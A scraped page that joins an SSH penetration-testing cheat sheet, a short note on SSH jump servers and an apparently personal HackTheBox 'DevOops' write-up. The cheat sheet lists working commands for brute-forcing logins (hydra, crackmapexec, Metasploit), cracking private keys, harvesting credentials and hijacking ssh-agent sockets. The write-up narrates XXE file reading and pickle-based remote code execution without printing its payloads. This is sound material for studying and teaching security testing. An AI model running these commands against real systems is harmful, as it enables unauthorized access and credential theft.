SSH server is vulnerable to known exploits or if there are any known security issues with the version of the software being used. - Checking for compliance with organizational security policies: Administrators may want to ensure that all SSH servers in their organization are configured to display a standard banner message that includes specific information. - Verifying the authenticity of an SSH server: Banner messages can be used to verify that the SSH server being accessed is the intended one, rather than a fake or rogue server. Several tools can be used for SSH banner grabbing, such as Nmap, Netcat, and SSH-Banner. These tools connect to an SSH server and retrieve the banner message. The retrieved banner can then be analyzed to determine the information that is being displayed. nc 192.168.1.96 22 If we try to connect using the verbose parameter we can check all the information necessary to authenticate on the remote server. ssh -v 192.168.1.96 SSH Servers List SSH ServerDescriptionURLOpenSSHOpen-source SSH server widely used in Unix-like operating systemsOpenSSHDropbearLightweight and efficient SSH server primarily designed for embedded systemsDropbearBitvise SSH ServerSSH server for Windows with additional features like remote administrationBitviseTectia SSH ServerCommercial SSH server solution by SSH Communications SecurityTectiaProFTPD with mod_sftpFTP server with SFTP support using mod_sftpProFTPDSSH Servers List Detect SSH Authentication Type To detect the SSH authentication type being used to access a system, you can examine the system logs. The authentication type will be logged when a user authenticates to the system via SSH. Here's how you can check the SSH authentication type on a Linux system: - Open the system log file at /var/log/auth.log using your preferred text editor. - Search for the line that contains the user login information you want to check. - Look for the "Accepted" keyword in the line, which indicates that the authentication was successful. ssh -v 192.168.1.96 SSH authentication types Detect remote users msfconsole msf> use auxiliary/scanner/ssh/ssh_enumusers 2. SSH Exploitation At this point, we only know what service is running on port 22 and what version it has (OpenSSH_4.7p1 Debian-8ubuntu1), assuming we have found the username msfadmin we will try to brute-force his password using hydra. Bruteforce SSH Service hydra -l msfadmin -P rockyou.txt ssh://192.168.1.96 crackmapexec ssh -U user -P passwd.lst 192.168.1.96 use auxiliary/scanner/ssh/ssh_login set rhosts 192.168.1.96 set user_file user.txt set pass_file password.txt run Crack SSH Private Keys ssh2john id_rsa.priv hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt https://github.com/openwall/john/blob/bleeding-jumbo/run/ssh2john.py Default Credentials https://github.com/PopLabSec/SSH-default-Credentials SSH Bad Keys Some embedded devices have static SSH keys, you can find a collection of keys here: https://github.com/poplabdev/ssh-badkeys SSH Exploits VersionExploitOpenSSH set session 1 msf post(sshkey_persistence) >exploit SSH User Code Execution msf > use exploit/multi/ssh/sshexec msf exploit(sshexec) >set rhosts 192.168.1.103 msf exploit(sshexec) >set username rfs msf exploit(sshexec) >set password poplabsec msf exploit(sshexec) >set srvhost 192.168.1.107 msf exploit(sshexec) >exploit SSH Lateral Movement Lateral movement aims to extend an attacker's reach, enabling them to traverse laterally across a network, escalating privileges and accessing sensitive resources. Read more about Pivoting using SSH Steal SSH credentials If we have a meterpreter shell we can use the post-exploitation module post/multi/gather/ssh_creds and try to collect all SSH credentials on the machine. use post/multi/gather/ssh_creds msf post(ssh_creds) > set session 1 msf post(ssh_creds) > exploit Search SSH Key files find / -name *id_rsa* 2>/dev/null Search SSH Key files inside file content find / -name *id_rsa* 2>/dev/null SSH Hijacking Find the SSHd process ps uax|grep sshd # Attacker looks for the SSH_AUTH_SOCK on victim's environment variables grep SSH_AUTH_SOCK /proc//environ Attacker hijack's victim's ssh-agent socket SSH_AUTH_SOCK=/tmp/ssh-XXXXXXXXX/agent.XXXX ssh-add -l An attacker can log in to remote systems as the victim ssh 192.168.1.107 -l victim SSH Tunnels SSH tunnels serve as a powerful and secure mechanism for establishing encrypted communication channels within computer networks. Operating on the foundation of the Secure Shell (SSH) protocol, SSH tunnels create a secure conduit for data transfer and communication between local and remote systems. Tunnel TypeDescriptionUse CaseLocal Port ForwardingForwards traffic from a local port to a remote destination through the SSH serverSecurely access services on a remote server from the local machineRemote Port ForwardingForwards traffic from a remote port to a local destination through the SSH serverExpose a local service to a remote server securelyDynamic Port ForwardingCreates a dynamic SOCKS proxy on the local machine, allowing multiple connections to pass through the SSH tunnelBrowsing the internet securely and anonymously through the SSH tunnelX11 ForwardingEnables secure forwarding of graphical applications from a remote server to the local machineRunning graphical applications on a remote server and displaying them locallyTunneling for File TransferFacilitates secure file transfer by tunneling FTP or other protocols through the SSH connectionSecurely transfer files between systems using non-secure protocols SSH Logs To view SSH-related logs, you can use the grep command to filter out SSH entries. grep sshd /var/log/auth.log Or for systems using cat var/log/secure grep sshd /var/log/secure Working with RSA Keys List of Tools that use SSH Tool NameDescriptionSCP (Secure Copy)Command-line tool for securely copying files between local and remote systems using SSHSFTP (Secure FTP)File transfer protocol that operates over SSH, providing secure file access, transfer, and managementrsyncUtility for efficiently syncing files and directories between systems, often used with SSH for secure synchronizationGitDistributed version control system, supports SSH for secure repository access and managementAnsibleAutomation tool for configuration management and application deployment, uses SSH for communication with remote hostsPuTTYAutomation tool for configuration management and application deployment uses SSH for communication with remote hostsWinSCPWindows-based open-source SFTP, FTP, WebDAV, and SCP client for secure file transferCyberduckLibre and open-source client for FTP, SFTP, WebDAV, Amazon S3, and more, with SSH supportMobaXtermEnhanced terminal for Windows with X11 server, tabbed SSH client, and various network toolsTerminus (formerly Pantheon Terminus)Windows-based terminal emulator supports SSH for secure remote access to Unix-like systems FTP Penetration Testing RDP Penetration Testing SMB Penetration Testing PostgreSQL Penetration Testing F.A.Q What is SSH Penetration Testing?SSH Penetration Testing is the process of testing and identifying vulnerabilities in the Secure Shell (SSH) protocol implementation, configuration, and access control. It involves various attacks to determine if a system is vulnerable to unauthorized access, data theft, or system compromise.What are the standard SSH Penetration Testing techniques?Common SSH Penetration Testing techniques include password guessing, SSH banner grabbing, protocol fuzzing, denial of service (DoS) attacks, man-in-the-middle (MITM) attacks, key-based authentication, and configuration errors.What is the purpose of SSH Penetration Testing?The purpose of SSH Penetration Testing is to identify security weaknesses in the SSH protocol implementation, configuration, and access control, and to help organizations improve their security posture by addressing identified vulnerabilities.Can SSH Penetration Testing be performed without permission?No, SSH Penetration Testing should not be performed without proper authorization. Unauthorized penetration testing is illegal and can lead to serious legal consequences.What should be done after SSH Penetration Testing?After SSH Penetration Testing, all identified vulnerabilities should be documented and reported to the system owner or administrator. The system owner should take appropriate measures to address identified vulnerabilities and improve the security of the system. Read the full article

[recordsshsessions]

In recent times, there is an increasing need for organizations to give employees access to their IT facilities due to the ongoing Covid restrictions ( such as work from home )  in place and in other cases grant access to external parties like clients, vendors  who wants to troubleshoot and fix issues with the IT Infrastructure remotely. More so, is the need for multiple manage SSH access to the company’s Linux servers, Routers, Switches, while meeting regulatory and security compliance. This need led to the emergence of the SSH Jump Server concept.It is a secure intermediary server where all your system administrators would login in first via SSH before getting to access the remote devices such as Linux instance, Routers, Switches etc. The purpose of having the SSH Jump server is to improve security and consolidate SSH user activities to a single point hence better security and accountability. SSH  Jump server is also known by the name #, SSH Jump Host & SSH Gateway.

[c-cracks]

HTB - DevOops

DevOops is allegedly more difficult than OSCP but good practice; i actually found it quite easy. Probably because the vulnerabilities to exploit are pointed out.

An nmap scan reveals Gunicorn to be listening on port 5000- this is already a hint at the second attack required for the user flag as this was the same type of server I had to target for root access to Symfonos 4. Basic directory brute force further reveals the presence of three files- upload, the root of the server (index.html) and feed.

Index hints that the server uses Python at the back-end: apparently the root is feed.py while feed simply loads a png image and upload reveals a simple upload file form with reference to XML elements.

With so little to explore, it was quickly obvious that the upload form is probably vulnerable to some form of attack. I started by uploading txt and png files to observe the results- the page is simply reloaded.

This is when I thought to try uploading an XML file to the server- particularly with the hint towards what XML elements to use. 10 minutes research later and I’d put together a simple test.xml file.

I didn’t immediately jump to trying the above file: I firstly confirmed this was a vulnerability by trying to view /etc/passwd which was returned in the content element upon upload of the file.

After this, I spent half an hour or so seeing if RCE was possible through external entity attack; while it could have been if PHP was in use, it isn’t obviously so in the case of Python. This is when I remembered feed.py.

Feed.py revealed the insecure use of pickle on user supplied POST data to /newpost. After facing similar with JSON pickles in the past, I was aware that RCE was possible through this vulnerability and began working towards a reverse shell.

I learned here that things should always be tested locally first before testing them remotely: I was fiddling around with the reverse shell for an hour or two and constantly receiving error 500s. When I tried ti loally and it worked, i knew it was likely that there was something else wrong with my payload.

After 10-20 minutes, I discovered that adding the Content-Type header and setting it to text/html resulted in successful delivery of the payload (I confirmed this with a simple ping at first.)

Now I just needed to get a working payload- netcat was on the victim but a nc reverse shell resulted in immediate disconnection meaning the process was being terminated for some reason on their end. After some trial and error, I uncovered the following working payload:

I created this script from a few I found on Google. The pickle vulnerability arises form the manner in which pickle deserializes data (translating a byte stream to an object in the case of Python, an object being a list or dictionary etc.)

Objects with pickle are serialized using dumps or dump while they are deserialized using load/loads.

To achieve RCE through pickle, however, we must use the __reduce__function:  it requires a callable object and an optional tuple of arguments for the called object, thus providing this to the Pickle process will executable the mentioned callable object along with the provided arguments.

The above revere shell succeeded and I had a foothold on the system as Roosa. I could have probably read the user flag back in the external entity attack; I thought I’d save it for when I had achieved RCE.

The root flag is very easy- simple enumeration of Roosa’s home directory reveals a GitHub project called ‘blogfeed’ and the presence of an RSA private key used for the project’s integration. I had my suspicions this key may be relevant and thus saved it for further use later.

Further basic enumeraton (specifically of .bash_history) shows us that Roosa screwed up at one point and accidentally submitted a relevant private key to the GitHub project. Although not an expert, I use GitHub myself and thus am aware that previous commits can be viewed.

Some research showed that it is possible to view patches (I simply refer to it as changes but hey ho) to a GitHub repo via the git log -p command. Executing this reveals the original key submitted to the repo.

From here I discovered that an RSA private key can be used in place of a password for SSH access... Perhaps we have root’s private key here? I tried this with ssh -i old-key root@10.10.10.91 and sure enough we have root access.

I enjoyed this machine but I don’t feel it should be of medium difficulty- it actually took me longer on the user flag.

Also reminded myself of the importance of trying exploit payloads locally first if doable to discover the source of an error when delivering the exploit remotely.